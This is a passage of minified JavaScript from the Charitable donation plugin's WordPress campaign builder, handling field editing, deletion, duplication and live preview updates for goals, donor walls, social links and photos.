type=$field.data("field-type"),event=CharitableUtils.triggerEvent($builder,"charitableBeforeFieldAddOnClick",[type,$field]);if(event.isDefaultPrevented()){return}app.fieldAdd(type,{$sortable:"default"})});$builder.on("charitableFieldAdd",function(event,id,type){const fieldTypes=["campaign-title","campaign-description","campaign-overview","progress-bar","donation-options","social-sharing","social-links","photo","organizer","html","donate-button","donate-amount","campaign-summary","donate-form","donor-wall","shortcode","text","video"];if($.inArray(type,fieldTypes)!==-1){app.fieldChoiceSortable(type,`#charitable-field-option-row-${id}-choices ul`)}else{}});$builder.on("click",".charitable-group-toggle",function(e){const event=CharitableUtils.triggerEvent($builder,"charitableFieldOptionGroupToggle");if(event.isDefaultPrevented()){return false}e.preventDefault();app.resetPreviewArea();var $group=$(this).closest(".charitable-layout-options-tab");$group.siblings(".charitable-layout-options-tab").removeClass("active");$group.addClass("active");if($(this).parent().hasClass("charitable-layout-options-tab-tabs")){$("#charitable-preview-tab-container").toggleClass("active")}else{$("#charitable-preview-tab-container").removeClass("active")}if($(this).parent().hasClass("charitable-layout-options-tab-general")){wpCookies.set("charitable_panel_design_layout_options_group","general",2592e3)}else if($(this).parent().hasClass("charitable-layout-options-tab-tabs")){wpCookies.set("charitable_panel_design_layout_options_group","tabs",2592e3)}else if($(this).parent().hasClass("charitable-layout-options-tab-advanced")){wpCookies.set("charitable_panel_design_layout_options_group","advanced",2592e3)}wpCookies.set("charitable_panel_active_field_id","",2592e3);$(".charitable-layout-options-tab-general .charitable-layout-options-group-inner").html();$(".charitable-campaign-preview .charitable-select-field").removeClass("active")});$builder.on("click",".charitable-field-edit",function(e){e.preventDefault();$("#layout-options a").addClass("active");$(".charitable-add-fields").hide();$(".charitable-field-options").show();var $group=$(".charitable-layout-options-tab-general");$group.siblings(".charitable-layout-options-tab").removeClass("active");$group.addClass("active")});$builder.on("click",function(){app.focusOutEvent()});app.photoFieldEvents($builder);app.campaignSummaryEvents($builder);app.socialSharingEvents($builder);app.socialLinkingEvents($builder);app.donateButtonEvents($builder);app.donateWallEvents($builder);app.progressBarEvents($builder);app.shortcodeEvents($builder);app.organizerEvents($builder);app.cssTextFieldEvents($builder);app.textFieldEvents($builder);app.headlineEvents($builder);app.numberSliderEvents($builder);app.alignFieldEvents($builder);/ *highlights */;app.highlightEvents($builder);app.advancedLayoutOptionsEvents($builder);app.previewHover($builder);app.goalEvents($builder);app.endDateEvents($builder)},endDateEvents:function($builder){$builder.on("change","#charitable-panel-field-settings-campaign_end_date",function(e){app.updateEndDateRelatedItems($(this).val())})},updateEndDateRelatedItems:function(endDate="",theField=$("#charitable-panel-field-settings-campaign_end_date")){if(endDate===""){if(theField.length){endDate=theField.val()}}if(endDate.trim()===""){wpchar.debug("updateEndDateRelatedItems - no end date");elements.$preview.find(".charitable-field-campaign-summary").each(function(){var field_id=$(this).attr("data-field-id");$(this).find(".campaign-time-left.campaign-summary-item").addClass("charitable-hidden");wpchar.debug($('input[name="_fields['+field_id+"][show_hide][campaign_hide_time_remaining]"));elements.$fieldOptions.find('input[name="_fields['+field_id+"][show_hide][campaign_hide_time_remaining]").attr("disabled",true).addClass("charitable-disabled").prop("checked",false).next().addClass("charitable-disabled")})}else{wpchar.debug("updateEndDateRelatedItems - there is an end date");elements.$preview.find(".charitable-field-campaign-summary").each(function(){var field_id=$(this).attr("data-field-id");elements.$fieldOptions.find('input[name="_fields['+field_id+"][show_hide][campaign_hide_time_remaining]").attr("disabled",false).removeClass("charitable-disabled").next().removeClass("charitable-disabled")})}},goalEvents:function($builder){$builder.on("change","#charitable-panel-field-settings-campaign_goal",function(e){app.updateGoalRelatedItems($(this).val())})},updateGoalRelatedItems:function(goalAmount="",theField=$("#charitable-panel-field-settings-campaign_goal")){wpchar.debug(goalAmount,"goalAmount");if(goalAmount===""){if(theField.length){goalAmount=theField.val()}}if(goalAmount===""||goalAmount==="0"||goalAmount==="0.00"){wpchar.debug("updateGoalRelatedItems - checkpoint 0");elements.$preview.find(".charitable-field-progress-bar .progress").addClass("charitable-campaign-preview-not-available").addClass("charitable-hidden");elements.$preview.find(".charitable-field-campaign-summary").each(function(){var field_id=$(this).attr("data-field-id");$(this).find(".campaign-raised.campaign-summary-item").addClass("charitable-hidden");wpchar.debug(elements.$fieldOptions.find('input[name="_fields['+field_id+"][show_hide][campaign_hide_percent_raised]"));elements.$fieldOptions.find('input[name="_fields['+field_id+"][show_hide][campaign_hide_percent_raised]").prop("checked",false).attr("disabled",true).addClass("charitable-disabled").next().addClass("charitable-disabled")});elements.$preview.find(".charitable-field-progress-bar .campaign-goal").each(function(){var goalLabel=$(this).find("span").html();$(this).html("<span>"+goalLabel+"</span>"+"∞")})}else{var regex_decemial=/^\d+\.\d+$/,regex_comma=/^\d+\,\d+$/;if(regex_comma.test(goalAmount)){wpchar.debug("updateGoalRelatedItems - checkpoint 1");app.updateGoalisPresentRelatedUI();elements.$preview.find(".charitable-field-progress-bar .campaign-goal").each(function(){var goalLabel=$(this).find("span").html(),santitizedValue=parseFloat(goalAmount).toFixed(2);wpchar.debug(charitable_builder.currency_symbol+goalAmount);$(this).html("<span>"+goalLabel+"</span>"+" "+charitable_builder.currency_symbol+goalAmount)})}else if(regex_decemial.test(goalAmount)){wpchar.debug("updateGoalRelatedItems - checkpoint 2");app.updateGoalisPresentRelatedUI();elements.$preview.find(".charitable-field-progress-bar .campaign-goal").each(function(){var goalLabel=$(this).find("span").html(),santitizedValue=parseFloat(goalAmount).toFixed(2);santitizedValue=goalAmount.toString().replace(/\B(?=(\d{3})+(?!\d))/g,",");$(this).html("<span>"+goalLabel+"</span>"+" "+charitable_builder.currency_symbol+santitizedValue)})}else{wpchar.debug("updateGoalRelatedItems - checkpoint 3");app.updateGoalisPresentRelatedUI();goalAmount=goalAmount.replace(/[^0-9\.\,]/g,"");elements.$preview.find(".charitable-field-progress-bar .campaign-goal").each(function(){var goalLabel=$(this).find("span").html();$(this).html("<span>"+goalLabel+"</span>"+" "+charitable_builder.currency_symbol+goalAmount)})}}},updateGoalisPresentRelatedUI:function(){elements.$preview.find(".charitable-field-campaign-summary").each(function(){var field_id=$(this).attr("data-field-id"),$preview_summary=$(this);if($('input[name="_fields['+field_id+"][show_hide][campaign_hide_percent_raised]").is(":checked")){if(!$(this).hasClass("charitable-hidden")){$preview_summary.find(".campaign-raised.campaign-summary-item").removeClass("charitable-hidden")}}elements.$fieldOptions.find('input[name="_fields['+field_id+"][show_hide][campaign_hide_percent_raised]").attr("disabled",false).removeClass("charitable-disabled").next().removeClass("charitable-disabled")});elements.$preview.find(".charitable-field-progress-bar .progress").removeClass("charitable-campaign-preview-not-available").removeClass("charitable-hidden")},highlightEvents:function($builder){$builder.on("click","a.charitable-addon-installed-charitable-lite, a.charitable-addon-installed-charitable-pro",function(e){e.preventDefault();if($(this).hasClass("charitable-addon-recurring-donations")){elements.$settingsPanel.find(".charitable-panel-fields-group-recurring-donations").removeClass("charitable-highlight");$("a.charitable-panel-sidebar-section-donation-options").click();elements.$settingsPanel.find(".charitable-panel-fields-group-recurring-donations").addClass("charitable-highlight")}});$builder.on("webkitAnimationEnd oanimationend msAnimationEnd animationend",".charitable-panel-fields-group-recurring-donations",function(e){elements.$settingsPanel.find(".charitable-panel-fields-group-recurring-donations").removeClass("charitable-highlight")})},advancedLayoutOptionsEvents:function($builder){$builder.on("change","select#charitable-design-layout-options-show-field-names",function(e){const theField=$(this);if(theField.val()==="hide"){elements.$formPreview.addClass("charitable-preview-hide-field-names")}else if(theField.val()==="show"){elements.$formPreview.removeClass("charitable-preview-hide-field-names")}});$builder.on("change","select#charitable-design-layout-options-preview-mode",function(e){const theField=$(this);if(theField.val()==="normal"){elements.$formPreview.removeClass("charitable-preview-minimum-preview")}else if(theField.val()==="minimum"){elements.$formPreview.addClass("charitable-preview-minimum-preview")}})},previewHover:function($builder){$builder.on("mouseover",".charitable-view-campaign-external-link",function(e){elements.$formPreview.addClass("charitable-preview-live")});$builder.on("mouseleave",".charitable-view-campaign-external-link",function(e){elements.$formPreview.removeClass("charitable-preview-live")})},donateButtonEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[type="text"].charitable-campaign-builder-donate-button-button-label',function(e){const theTextBox=$(this),field_id=theTextBox.closest(".charitable-panel-field").data("field-id");app.updateDonateButtonPreview(field_id,theTextBox.attr("name"),theTextBox.val())})},updateDonateButtonPreview:function(field_id=0,textFieldName="",label_value="Donate"){const preview_field=$("#charitable-field-"+field_id);label_value=label_value.length>0?CharitableUtils.santitizeTextInput(label_value):"Donate";preview_field.find(".placeholder").html(label_value)},donateWallEvents:function($builder){$builder.on("input",".charitable-panel-field.charitable-campaign-builder-donor-wall input, .charitable-panel-field.charitable-campaign-builder-donor-wall select",function(e){const theFormField=$(this),field_id=theFormField.closest(".charitable-panel-field").data("field-id");app.updateDonateWallPreview(field_id,theFormField)})},updateDonateWallPreview:function(field_id=0,theFormField){var data={};$('.charitable-panel-field.charitable-campaign-builder-donor-wall[data-field-id="'+field_id+'"]').each(function(){var theArea=$(this);theArea.find('input.charitable-checkbox-for-toggle[type="checkbox"]:checked').each(function(){var theName=$(this).closest('.charitable-toggle-control[data-field-id="'+field_id+'"]').data("ajax-label");if($(this).is(":checked")){data[theName]=$(this).val()}else{data[theName]=0}});theArea.find('input[type="radio"]:checked,input[type="text"],input[type="number"],select').each(function(){var theName=$(this).closest('.charitable-panel-field[data-field-id="'+field_id+'"]').data("ajax-label");data[theName]=$(this).val()});data.campaign_id=s.formID;data.field_type="donation-wall";data.field_id=field_id;data.action="charitable_builder_field_content_preview",data.nonce=charitable_builder.nonce});app.disableFormActions();$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+field_id+'"]').addClass("charitable-loading");$("#charitable-field-"+field_id+" .charitable-preview-field-container span.placeholder").addClass("charitable-loading").parent().prepend('<div class="charitable-loading-spinner preview-ajax"></div>');return $.post(charitable_builder.ajax_url,data,function(res){if(!res.success){wpchar.debug("Add field AJAX call is unsuccessful:",res);return}$("#charitable-field-"+field_id+" .charitable-preview-field-container").replaceWith(res.data.output);var theTextBox=$('.charitable-panel-field-text[data-field-id="'+field_id+'"] input[type="text"].charitable-campaign-builder-headline');app.updateHeadlinePreview(field_id,theTextBox.attr("name"),theTextBox.val(),theTextBox);app.enableFormActions();$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+field_id+'"]').removeClass("charitable-loading");$("#charitable-field-"+field_id+" .charitable-preview-field-container span.placeholder").removeClass("charitable-loading").parent().remove(".charitable-loading")}).fail(function(xhr,textStatus,e){wpchar.debug("Add field AJAX call failed:",xhr.responseText);$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+field_id+'"]').removeClass("charitable-loading");$("#charitable-field-"+field_id+" .charitable-preview-field-container span.placeholder").removeClass("charitable-loading").parent().remove(".charitable-loading")}).always(function(){})},progressBarEvents:function($builder){$builder.on("change",".charitable-panel-field.charitable-campaign-builder-progress-bar input, .charitable-panel-field.charitable-campaign-builder-progress-bar select",function(e){var theFormField=$(this),field_id=theFormField.attr("data-field-id");app.progressBarEventsPreview(field_id,theFormField)});$builder.on("keyup",".charitable-panel-field.charitable-panel-field-text input.donate_label, .charitable-panel-field.charitable-panel-field-text input.donate_goal",function(e){var theFormField=$(this),field_id=theFormField.attr("data-field-id");app.progressBarEventsPreviewLabels(field_id,theFormField)})},progressBarEventsPreviewLabels:function(field_id=0,theFormField=""){const preview_field=$("#charitable-field-"+field_id);if(theFormField.hasClass("donate_label")){preview_field.find(".campaign-percent-raised span").html(theFormField.val())}if(theFormField.hasClass("donate_goal")){preview_field.find(".campaign-goal span").html(theFormField.val())}},progressBarEventsPreview:function(field_id=0,theFormField=""){const preview_field=$("#charitable-field-"+field_id);if(theFormField.val()==="show_donated"){preview_field.find(".campaign-percent-raised").toggleClass("charitable-hidden")}if(theFormField.val()==="show_goal"){preview_field.find(".campaign-goal").toggleClass("charitable-hidden")}},cssTextFieldEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[data-ajax-label="css_class"]',function(e){const theTextBox=$(this),textboxString=CharitableUtils.santitizeCSSInput(theTextBox.val());$(this).val(textboxString);app.setCampaignNotSaved()})},textFieldEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[type="text"][data-ajax-label!="css_class"]:not(.charitable-campaign-builder-headline, .charitable-campaign-builder-donate-button-button-label)',function(e){const theTextBox=$(this),textboxString=CharitableUtils.santitizeTextInput(theTextBox.val());$(this).val(textboxString);app.setCampaignNotSaved()})},headlineEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[type="text"].charitable-campaign-builder-headline',function(e){const theTextBox=$(this),field_id=theTextBox.closest(".charitable-panel-field").data("field-id");app.updateHeadlinePreview(field_id,theTextBox.attr("name"),theTextBox.val(),theTextBox);app.setCampaignNotSaved()})},updateHeadlinePreview:function(field_id=0,textFieldName="",label_value="",theTextBox){const preview_field=$("#charitable-field-"+field_id),headline=CharitableUtils.santitizeTitle(label_value),headline_html=label_value.length>0?'<h5 class="charitable-field-preview-headline">'+headline+"</h5>":"",tempPlaceholderContainer=preview_field.find(".charitable-placeholder").length>0?".charitable-placeholder":".placeholder",placeholderContainer=preview_field.find(".charitable-field-preview-social-sharing-headline-container").length>0?".charitable-field-preview-social-sharing-headline-container":tempPlaceholderContainer;theTextBox.val(headline);preview_field.find(placeholderContainer).find("h5.charitable-field-preview-headline").remove();preview_field.find(placeholderContainer).first().prepend(headline_html)},shortcodeEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[type="text"].charitable-campaign-builder-shortcode',function(e){const theTextBox=$(this),field_id=theTextBox.closest(".charitable-panel-field").data("field-id");app.updateShortcodePreview(field_id,theTextBox.attr("name"),theTextBox.val())})},updateShortcodePreview:function(field_id=0,textFieldName="",label_value=""){const preview_field=$("#charitable-field-"+field_id),headline_html=label_value.length>0?'<h5 class="charitable-field-preview-shortcode">'+label_value+"</h5>":"";preview_field.find(".placeholder.shortcode-preview").find("h5.charitable-field-preview-shortcode").remove();preview_field.find(".placeholder.shortcode-preview").first().prepend(headline_html)},organizerEvents:function($builder){$builder.on("change",".charitable-panel-field.campaign-builder-campaign-creator-id-mini select",function(e){var theFormField=$(this),theAvatarURL=$(this).find("option:selected").data("avatar"),field_id=theFormField.closest(".charitable-panel-field").attr("data-field-id");app.organizerEventsPreview(field_id,theFormField,theAvatarURL)})},organizerEventsPreview:function(field_id=0,theFormField="",theAvatarURL=""){$("select#charitable-panel-field-settings-campaign_campaign_creator_id").select2("val",theFormField.val());const preview_field=$("#charitable-field-"+field_id);preview_field.find(".charitable-organizer-name").html(theFormField.find("option:selected").text());preview_field.find(".charitable-organizer-image").attr("style","background-image: url("+theAvatarURL+");")},campaignSummaryEvents:function($builder){$builder.on("click",'.charitable-campaign-summary-checkboxes input[type="checkbox"]',function(e){const theCheckbox=$(this),field_id=theCheckbox.closest(".charitable-panel-field").data("field-id");app.updateCampaignSummaryPreview(field_id,theCheckbox.attr("name"))})},updateCampaignSummaryPreview:function(field_id=0,checkboxName=""){const preview_field=$("#charitable-field-"+field_id);if(checkboxName.indexOf("campaign_hide_percent_raised")>=0){preview_field.find(".campaign_hide_percent_raised").toggleClass("charitable-hidden")}if(checkboxName.indexOf("campaign_hide_amount_donated")>=0){preview_field.find(".campaign_hide_amount_donated").toggleClass("charitable-hidden")}if(checkboxName.indexOf("campaign_hide_number_of_donors")>=0){preview_field.find(".campaign_hide_number_of_donors").toggleClass("charitable-hidden")}if(checkboxName.indexOf("campaign_hide_time_remaining")>=0){preview_field.find(".campaign_hide_time_remaining").toggleClass("charitable-hidden")}},socialSharingEvents:function($builder){$builder.on("click",'.charitable-social-network-checkboxes input[type="checkbox"]',function(e){const theCheckbox=$(this),field_id=theCheckbox.closest(".charitable-panel-field").data("field-id");app.updateSocialSharingPreview(field_id,theCheckbox.attr("name"))})},updateSocialSharingPreview:function(field_id=0,checkboxName=""){const preview_field=$("#charitable-field-"+field_id);if(checkboxName.indexOf("twitter")>=0){preview_field.find(".charitable-social-sharing-preview-twitter").toggleClass("charitable-hidden")}if(checkboxName.indexOf("facebook")>=0){preview_field.find(".charitable-social-sharing-preview-facebook").toggleClass("charitable-hidden")}if(checkboxName.indexOf("linkedin")>=0){preview_field.find(".charitable-social-sharing-preview-linkedin").toggleClass("charitable-hidden")}if(checkboxName.indexOf("instagram")>=0){preview_field.find(".charitable-social-sharing-preview-instagram").toggleClass("charitable-hidden")}if(checkboxName.indexOf("tiktok")>=0){preview_field.find(".charitable-social-sharing-preview-tiktok").toggleClass("charitable-hidden")}if(checkboxName.indexOf("pinterest")>=0){preview_field.find(".charitable-social-sharing-preview-pinterest").toggleClass("charitable-hidden")}if(checkboxName.indexOf("mastodon")>=0){preview_field.find(".charitable-social-sharing-preview-mastodon").toggleClass("charitable-hidden")}if(checkboxName.indexOf("threads")>=0){preview_field.find(".charitable-social-sharing-preview-threads").toggleClass("charitable-hidden")}if(checkboxName.indexOf("bluesky")>=0){preview_field.find(".charitable-social-sharing-preview-bluesky").toggleClass("charitable-hidden")}},socialLinkingEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[type="url"].charitable-campaign-builder-social-links-text-field',function(e){var theTextField=$(this),field_id=theTextField.attr("data-field-id");app.updateSocialLinksPreview(field_id,theTextField.attr("name"),theTextField.val())})},updateSocialLinksPreview:function(field_id=0,textFieldName="",linkURL=""){const preview_field=$("#charitable-field-"+field_id),social_networks=["twitter","facebook","linkedin","instagram","tiktok","pinterest","mastodon","youtube","threads","bluesky"];var visibleNetworks=0;$.each(social_networks,function(_index,network){if(textFieldName.indexOf(network)>=0&&app.isValidURL(linkURL)){preview_field.find(".charitable-social-linking-preview-"+network).removeClass("charitable-hidden")}else if(textFieldName.indexOf(network)>=0){preview_field.find(".charitable-social-linking-preview-"+network).addClass("charitable-hidden")}if(preview_field.find(".charitable-social-linking-preview-"+network).hasClass("charitable-hidden")){}else{visibleNetworks++}});if(visibleNetworks>0){preview_field.find(".charitable-social-linking-no-links").addClass("charitable-hidden")}else{preview_field.find(".charitable-social-linking-no-links").removeClass("charitable-hidden")}},photoFieldEvents:function($builder){var file_frame;window.formfield="";$builder.on("click",".charitable-campaign-builder-upload-button",function(e){e.preventDefault();var button=$(this),field_id=$(this).closest(".charitable-panel-field").data("field-id");window.formfield=$(this).parent().prev();window.field_id=field_id;if(file_frame){file_frame.open();return}file_frame=wp.media.frames.file_frame=wp.media({title:button.data("uploader_title"),library:{type:"image"},button:{text:button.data("uploader_button_text")},multiple:false});file_frame.on("menu:render:default",function(view){const views={};view.unset("library-separator");view.unset("gallery");view.unset("featured-image");view.unset("embed");view.set(views)});file_frame.on("select",function(){const selection=file_frame.state().get("selection");selection.each(function(attachment,index){attachment=attachment.toJSON();window.formfield.val(attachment.url);app.updateImagePhotoPreview(window.field_id,attachment.url);window.field_id=false})});file_frame.open()});$builder.on("click",".charitable-campaign-builder-clear-button",function(e){e.preventDefault();const button=$(this),field_id=$(this).closest(".charitable-panel-field").data("field-id");button.closest(".charitable-internal").find('input[type="url"]').val("");app.updateImagePhotoPreview(field_id,false)})},updateImagePhotoPreview:function(field_id=0,imageUrl=""){const preview_field=$("#charitable-field-"+field_id),preview_field_image=preview_field.find("img.charitable-campaign-builder-preview-photo");if(false===imageUrl||""===imageUrl||!app.isValidURL(imageUrl)){preview_field.find(".primary-image-container .primary-image img").remove();preview_field.find(".primary-image-container .primary-image").append('<img src="../../images/campaign-builder/fields/photo/temp-icon.svg" class="temp-icon" alt="" />');preview_field.find(".primary-image-container").removeClass("has-image")}else{preview_field.find("i.temp-icon").remove();if(preview_field_image.length>0){preview_field_image.attr("src",imageUrl)}else{preview_field.find(".primary-image-container .primary-image").append('<img src="'+imageUrl+'" class="charitable-campaign-builder-preview-photo" />');preview_field.find(".primary-image-container").addClass("has-image")}}},isValidURL:function(str){var pattern=new RegExp("^(https?:\\/\\/)?"+"((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|"+"((\\d{1,3}\\.){3}\\d{1,3}))"+"(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*"+"(\\?[;&a-z\\d%_.~+=-]*)?"+"(\\#[-a-z\\d_]*)?$","i");return!!pattern.test(str)},resetPreviewArea:function(){elements.$formPreview.find(".charitable-field").each(function(){$(this).removeClass("active")});$(".charitable-select-field-notice").show();$(".charitable-layout-options-tab-general .charitable-panel-field").removeClass("active");$("#charitable-preview-tab-container").removeClass("active")},fieldDelete:function(id,confirmation=true){var $field=$("#charitable-field-"+id),type=$field.data("field-type");if($field.hasClass("no-delete")){app.youCantRemoveFieldPopup();return}if(confirmation){app.confirmFieldDeletion(id,type)}else{app.fieldDeleteById(id,type)}},confirmFieldDeletion:function(id,type){var fieldData={id:id,message:charitable_builder.delete_confirm};var event=CharitableUtils.triggerEvent($builder,"charitableBeforeFieldDeleteAlert",[fieldData,type]);if(event.isDefaultPrevented()){return}$.confirm({title:false,content:fieldData.message,icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){app.fieldDeleteById(id,type)}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})},confirmCampaignDeletion:function(){$builder.on("click",".charitable-button.alert.delete-campaign",function(e){e.preventDefault();$.alert({title:false,content:charitable_builder.campaign_delete_confirm,icon:"fa fa-info-circle",type:"red",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})})},fieldDeleteById:function(id=false,type="",duration=200){if(id===false){return}$(`#charitable-field-${id}`).fadeOut(duration,function(){const $field=$(this),section=$field.closest(".charitable-field-section"),type=$field.data("field-type"),max=typeof $field.data("field-max")!=="undefined"?parseInt($field.data("field-max")):99;$builder.trigger("charitableBeforeFieldDelete",[id,type]);$field.remove();$("#charitable-field-option-"+id).remove();$(".charitable-field, .charitable-preview-top-bar").removeClass("active");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+id+'"]').remove();$(".charitable-select-field-notice").show();app.checkNoFieldsPreview();app.checkFieldTargetState(section);if(max===0||elements.$preview.find(".charitable-field.charitable-field-donate-amount").length<max){$("#charitable-panel-design button#charitable-add-fields-donate-amount").removeClass("charitable-disabled")}app.checkIfTabsAreEmpty();if($(".charitable-layout-options-tab.charitable-layout-options-tab-general").hasClass("active")){app.fieldTabToggle("add-layout")}const $fieldsOptions=$(".charitable-field-option"),$submitButton=$builder.find(".charitable-field-submit");if($fieldsOptions.length<1){elements.$sortableFieldsWrap.append(elements.$noFieldsPreview.clone());elements.$fieldOptions.append(elements.$noFieldsOptions.clone());$submitButton.hide()}if(!$fieldsOptions.filter(":not(.charitable-field-option-layout)").length){$submitButton.hide()}app.checkFieldAllow();app.checkFieldMax(type,max);app.checkRecommendedFields(type);if(wpCookies.get("charitable_panel_active_field_id")===id){wpCookies.set("charitable_panel_active_field_id","",2592e3)}app.setCampaignNotSaved();$builder.trigger("charitableFieldDelete",[id,type])})},fieldEdit:function(type,section,edit_field_id,field_id,field_type){if(section==="general"||section==="standard"||section==="pro"||section==="recommended"){app.panelSwitch("design");$(".charitable-select-field-notice").hide();$(".charitable-layout-options-tab-general .charitable-panel-field").removeClass("active");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+field_id+'"]').addClass("active");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+field_id+'"]').find("input[type=text],input[type=button],input[type=range],input[type=url],textarea,select").filter(":visible:first").focus();if("html"===field_type){$builder.trigger("charitableFieldAddHTML",[field_id,field_type])}else{$builder.trigger("charitableFieldEdit",[type,section,edit_field_id,field_id,field_type])}}},fieldDuplicate:function(id){const $field=$(`#charitable-field-${id}`);if($field.hasClass("no-duplicate")){$.alert({title:charitable_builder.field_locked,content:charitable_builder.field_locked_no_duplicate_msg,icon:"fa fa-info-circle",type:"blue",buttons:{confirm:{text:charitable_builder.close,btnClass:"btn-confirm",keys:["enter"]}}});return}$.confirm({title:false,content:charitable_builder.duplicate_confirm,icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){this.$$confirm.prop("disabled",true);const beforeEvent=CharitableUtils.triggerEvent($builder,"charitableBeforeFieldDuplicate",[id,$field]);if(beforeEvent.isDefaultPrevented()){return}const newFieldId=app.fieldDuplicateRoutine(id),$newField=$(`#charitable-field-${newFieldId}`);CharitableUtils.triggerEvent($builder,"charitableFieldDuplicated",[id,$field,newFieldId,$newField])}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})},fieldDuplicateRoutine:function(id){const $field=$(`#charitable-field-${id}`),$fieldActiveFields=elements.$sortableFieldsWrap.find("> .active"),$fieldActiveTabs=elements.$sortableFieldsWrap.find("> .active"),$newField=$field.clone(),newFieldID=parseInt(elements.$nextFieldId.val(),10)+1,$settingsArea=$('#charitable-field-options .charitable-layout-options-group-inner .charitable-panel-field[data-field-id="'+id+'"]');if($newField){app.updateFormHiddenFieldID(newFieldID)}$field.after($newField);$fieldActiveFields.removeClass("active");$fieldActiveTabs.removeClass("active");$newField.addClass("active").attr({id:`charitable-field-${newFieldID}`,"data-field-id":newFieldID});$settingsArea.each(function(){var $newSettingsField=$(this).clone(),isContains=$newSettingsField.text().indexOf("ID:")>-1;$newSettingsField.attr("data-field-id",newFieldID);$(this).removeClass("active");$newSettingsField.addClass("active");if(isContains){$newSettingsField.text(function(index,text){return text.replace("ID: "+id,"ID: "+newFieldID)})}if(typeof $newSettingsField.attr("name")!=="undefined"&&$newSettingsField.attr("name").length>0){$newSettingsField.attr("name",$newSettingsField.attr("name").replace(id,newFieldID))}if(typeof $newSettingsField.attr("id")!=="undefined"&&$newSettingsField.attr("id").length>0){$newSettingsField.attr("id",$newSettingsField.attr("id").replace(id,newFieldID))}$newSettingsField.find("*").each(function(){var $subField=$(this);if(typeof $subField.attr("for")!=="undefined"&&$subField.attr("for").length>0){$subField.attr("for",$subField.attr("for").replace(id,newFieldID))}if(typeof $subField.attr("name")!=="undefined"&&$subField.attr("name").length>0){$subField.attr("name",$subField.attr("name").replace(id,newFieldID))}if(typeof $subField.attr("id")!=="undefined"&&$subField.attr("id").length>0){$subField.attr("id",$subField.attr("id").replace(id,newFieldID))}if(typeof $subField.data("field-id")!=="undefined"&&$subField.data("field-id").length>0){$newSettingsField.attr("data-field-id",newFieldID)}});$newSettingsField.find(".charitable-toggle-control").attr("data-field-id",newFieldID);$newSettingsField.find(".charitable-checkbox-for-toggle").attr("data-field-id",newFieldID);$("#charitable-field-options .charitable-layout-options-tab-general .charitable-layout-options-group-inner").append($newSettingsField);if(typeof $newSettingsField.data("special-type")!=="undefined"&&$newSettingsField.data("special-type")==="campaign_description"){let contentToCopy=$newSettingsField.find(".campaign-builder-htmleditor .ql-editor").html();$newSettingsField.find(".ql-toolbar").remove();$newSettingsField.find(".campaign-builder-htmleditor").html('<div data-textarea-name="_fields['+newFieldID+'][content]" id="charitable-panel-field-settings-field_campaign-description_html_'+newFieldID+'" class="campaign-builder-htmleditor">'+contentToCopy+"</div>");app.initHTMLEditorFields($newSettingsField.find(".campaign-builder-htmleditor"),false)}app.checkFieldAllow();app.checkFieldMax()});return newFieldID},focusOutEvent:function(){if(elements.$focusOutTarget===null){return}elements.$focusOutTarget=null},isFormPreviewActionsDisabled:function(el){return $(el).closest(".charitable-field-wrap").hasClass("ui-sortable-disabled")},fieldGroupTogglev2:function(el,action){var $this=$(el),groupName=$this.closest(".charitable-group").data("group_id"),$nearestGroup=$this.closest(".charitable-group"),$rows=$nearestGroup.find(".charitable-group-rows"),$group=$rows.parent(),$icon=$this.find("i"),cookieName="charitable_panel_layout_options_tabs_tab_open_"+groupName;if(action==="click"){$icon.toggleClass("charitable-angle-right");$rows.stop().slideToggle("",function(){$nearestGroup.toggleClass("charitable-closed");if($nearestGroup.hasClass("charitable-closed")){$nearestGroup.removeClass("charitable-open");wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,"true",2592e3)}});return}},fieldGroupTogglev3:function(el,action="click"){var $this=$(el),$nearestGroup=$this.closest(".charitable-add-fields-group"),$rows=$nearestGroup.find(".charitable-group-rows"),$icon=$this,groupName="test",cookieName="charitable_panel_add_layout_blocks_open_"+groupName;if(action==="click"){$icon.toggleClass("charitable-angle-right");$rows.stop().slideToggle("",function(){$nearestGroup.toggleClass("charitable-closed");if($nearestGroup.hasClass("charitable-closed")){$nearestGroup.removeClass("charitable-open");wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,"true",2592e3)}});return}},fieldGroupToggle:function(el,action){var $this=$(el),$buttons=$this.next(".charitable-add-fields-buttons"),$group=$buttons.parent(),$icon=$this.find("i"),groupName=$this.data("group"),cookieName="charitable_field_group_"+groupName;if(groupName=="general-layout-campaign"||groupName=="general-layout-faq"){$group=$this.parent().find(".charitable-"+groupName+"-group-inner");$buttons=$group}if(action==="click"){if($group.hasClass("charitable-closed")){wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,"true",2592e3)}$icon.toggleClass("charitable-angle-right");$buttons.stop().slideToggle("",function(){$group.toggleClass("charitable-closed")});return}else if(action==="load"){$buttons=$this.find(".charitable-add-fields-buttons");$icon=$this.find(".charitable-add-fields-heading i");groupName=$this.find(".charitable-add-fields-heading").data("group");cookieName="charitable_field_group_"+groupName;if(wpCookies.get(cookieName)==="true"){$icon.toggleClass("charitable-angle-right");$buttons.hide();$this.toggleClass("charitable-closed")}}},fieldMove:function(type,options){var $field=options.field;$field.find(".charitable-field-edit").click();$builder.find(".charitable-add-fields .charitable-add-fields-button").prop("disabled",false);var 